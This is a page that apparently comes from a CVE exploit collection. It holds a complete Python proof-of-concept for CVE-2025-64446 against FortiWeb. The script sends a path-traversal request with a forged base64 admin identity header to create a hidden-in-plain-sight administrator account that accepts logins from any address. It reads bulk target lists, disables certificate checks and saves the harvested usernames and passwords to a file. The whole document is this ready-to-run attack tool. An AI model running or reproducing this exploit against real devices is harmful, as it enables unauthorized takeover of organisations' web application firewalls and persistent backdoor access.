4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-64446.py PY
import http.client
import ssl
import base64
import json
from uuid import uuid4
import sys
import os
from urllib.parse import urlparse

def parse_target(target):
    if '://' not in target:
        target = 'https://' + target
    
    parsed = urlparse(target)
    hostname = parsed.hostname
    port = parsed.port
    
    if port is None:
        if parsed.scheme == 'https':
            port = 443
        else:
            port = 443  # Default to 443 for HTTPS
    
    return hostname, port

def exploit_target(host, port):
    user = str(uuid4())[:8]
    passwd = user

    raw_path = "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"

    cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }

    cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()

    headers = {
        "CGIINFO": cgiinfo_b64,
        "Content-Type": "application/x-www-form-urlencoded",
    }

    body = {
        "data": {
            "q_type": 1,
            "name": user,
            "access-profile": "prof_admin",
            "access-profile_val": "0",
            "trusthostv4": "0.0.0.0/0",
            "trusthostv6": "::/0",
            "last-name": "",
            "first-name": "",
            "email-address": "",
            "phone-number": "",
            "mobile-number": "",
            "hidden": 0,
            "comments": "",
            "sz_dashboard": -1,
            "type": "local-user",
            "type_val": "0",
            "admin-usergrp_val": "0",
            "wildcard_val": "0",
            "accprofile-override_val": "0",
            "sshkey": "",
            "passwd-set-time": 0,
            "history-password-pos": 0,
            "history-password0": "",
            "history-password1": "",
            "history-password2": "",
            "history-password3": "",
            "history-password4": "",
            "history-password5": "",
            "history-password6": "",
            "history-password7": "",
            "history-password8": "",
            "history-password9": "",
            "force-password-change": "disable",
            "force-password-change_val": "0",
            "password": passwd
        }
    }

    body_data = json.dumps(body)
    
    try:
        context = ssl._create_unverified_context()
        
        if port == 443:
            conn = http.client.HTTPSConnection(host, port, context=context, timeout=10)
        else:
            conn = http.client.HTTPSConnection(host, port, context=context, timeout=10)
            
        conn.request("POST", raw_path, body=body_data, headers=headers)
        resp = conn.getresponse()
        
        result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': user,
            'password': passwd,
            'success': resp.status == 200
        }
        
        conn.close()
        return result
        
    except Exception as e:
        return {
            'target': f"{host}:{port}",
            'status': 'Error',
            'user': None,
            'password': None,
            'success': False,
            'error': str(e)
        }

def main():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit_forti.py <target_file_or_single_target>")
        print("\nExamples:")
        print("  python3 exploit_forti.py targets.txt")
        print("  python3 exploit_forti.py 192.168.1.1")
        print("  python3 exploit_forti.py 192.168.1.1:8443")
        print("  python3 exploit_forti.py https://192.168.1.1:8443")
        sys.exit(1)

    input_arg = sys.argv[1]
    targets = []

    if os.path.exists(input_arg):
        print(f"[*] Reading targets from file: {input_arg}")
        with open(input_arg, 'r') as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
    else:
        print(f"[*] Using single target: {input_arg}")
        targets = [input_arg]

    if not targets:
        print("[-] No valid targets found!")
        sys.exit(1)

    print(f"[*] Loaded {len(targets)} target(s)")
    print("[*] Starting exploitation...\n")

    results = []
    successful = []

    for i, target in enumerate(targets, 1):
        print(f"[{i}/{len(targets)}] Testing: {target}")
        
        try:
            host, port = parse_target(target)
            result = exploit_target(host, port)
            results.append(result)
            
            if result['success']:
                print(f"    [+] SUCCESS - User: {result['user']} / Password: {result['password']}")
                successful.append(result)
            else:
                error_msg = f" - {result['error']}" if 'error' in result else ""
                print(f"    [-] FAILED - Status: {result['status']}{error_msg}")
        except Exception as e:
            error_result = {
                'target': target,
                'status': 'Error',
                'user': None,
                'password': None,
                'success': False,
                'error': str(e)
            }
            results.append(error_result)
            print(f"    [-] ERROR - {str(e)}")
        
        print()
      
    output_file = "fortiweb_exploit_results.txt"
    with open(output_file, 'w') as f:
        f.write("FortiWeb Exploitation Results\n")
        f.write("=" * 50 + "\n\n")
        
        for result in results:
            f.write(f"Target: {result['target']}\n")
            f.write(f"Status: {result['status']}\n")
            if result['success']:
                f.write(f"Username: {result['user']}\n")
                f.write(f"Password: {result['password']}\n")
                f.write("Result: SUCCESS\n")
            else:
                error_msg = f" - {result['error']}" if 'error' in result else ""
                f.write(f"Result: FAILED{error_msg}\n")
            f.write("-" * 30 + "\n")
          
    print("\n" + "=" * 50)
    print("EXPLOITATION SUMMARY")
    print("=" * 50)
    print(f"Total targets: {len(targets)}")
    print(f"Successful: {len(successful)}")
    print(f"Failed: {len(targets) - len(successful)}")
    print(f"Results saved to: {output_file}")

    if successful:
        print("\nSUCCESSFUL EXPLOITS:")
        for result in successful:
            print(f"  {result['target']} - {result['user']}:{result['password']}")

if __name__ == "__main__":
    main()